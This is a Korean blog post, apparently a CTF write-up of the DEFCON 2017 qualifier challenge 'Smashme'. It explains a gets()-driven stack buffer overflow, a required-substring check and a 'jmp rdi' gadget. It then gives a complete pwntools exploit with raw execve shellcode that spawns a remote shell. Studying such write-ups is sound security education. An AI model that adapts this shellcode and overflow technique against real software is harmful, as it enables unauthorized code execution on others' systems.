y0u_bat

[DEFCON 2017] Smashme 본문

System/[CTF]

[DEFCON 2017] Smashme

유뱃 2017. 5. 7. 16:09

[DEFCON 2017] Smashme

DEFCON 2017 예선전에서 제일 쉬운 문제다.

간단한 bof 문제이고, 조건 하나만 맞춰 주면 된다.

Mitigation

Vulnerability


gets로 입력을 받아서 stack buffer overflow가 일어난다. 여기서 조건 하나를 맞쳐줘야 된다.

입력한 변수에 "Smash me outside, how bout dAAAAAAAAAAA" 가 포함되어 있어야된다.

sub_400320 함수가 strstr 함수이다.

main 함수에서 ret instruction이 실행되기전에 레지스터를 보면, rdi가 입력받은 변수의 시작점인것을 알수있다.

그래서 jmp rdi 가젯이 있나 가젯을 검색해보았다.

0x00000000004c4e1b : jmp rdi

바이너리에서 이러한 가젯이 나왔다.
그래서, payload를 이런식을 작성해보았다.

payload = nop*6 + shellcode 27byte + "Smash me outside, how bout dAAAAAAAAAAA" + jmp rdi 

eip를 jmp rdi로 돌리고, jmp rdi 하면, 입력받은부분으로 가니까, nop이 실행되다가, 쉘코드가 실행 될것이다.


Exploit Code

from pwn import *

s = remote("smashme_omgbabysfirst.quals.shallweplayaga.me",57348)

print s.recv(1024)
payload = "\x90"*6 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+"Smash me outside, how bout dAAAAAAAAAAA"+ "\x1b\x4e\x4c"

s.send(payload+'\n')

s.interactive()

'System > [CTF]' 카테고리의 다른 글

Codegate2018 - BaskinRobins31  (0) 2018.02.10
Codegate2018 - Super Marimo  (0) 2018.02.10
Codegaet2018 - Melong  (0) 2018.02.10
[DEFCON 2017] mute  (0) 2017.05.08
[DEFCON 2017] beatmethedl  (1) 2017.05.06
Comments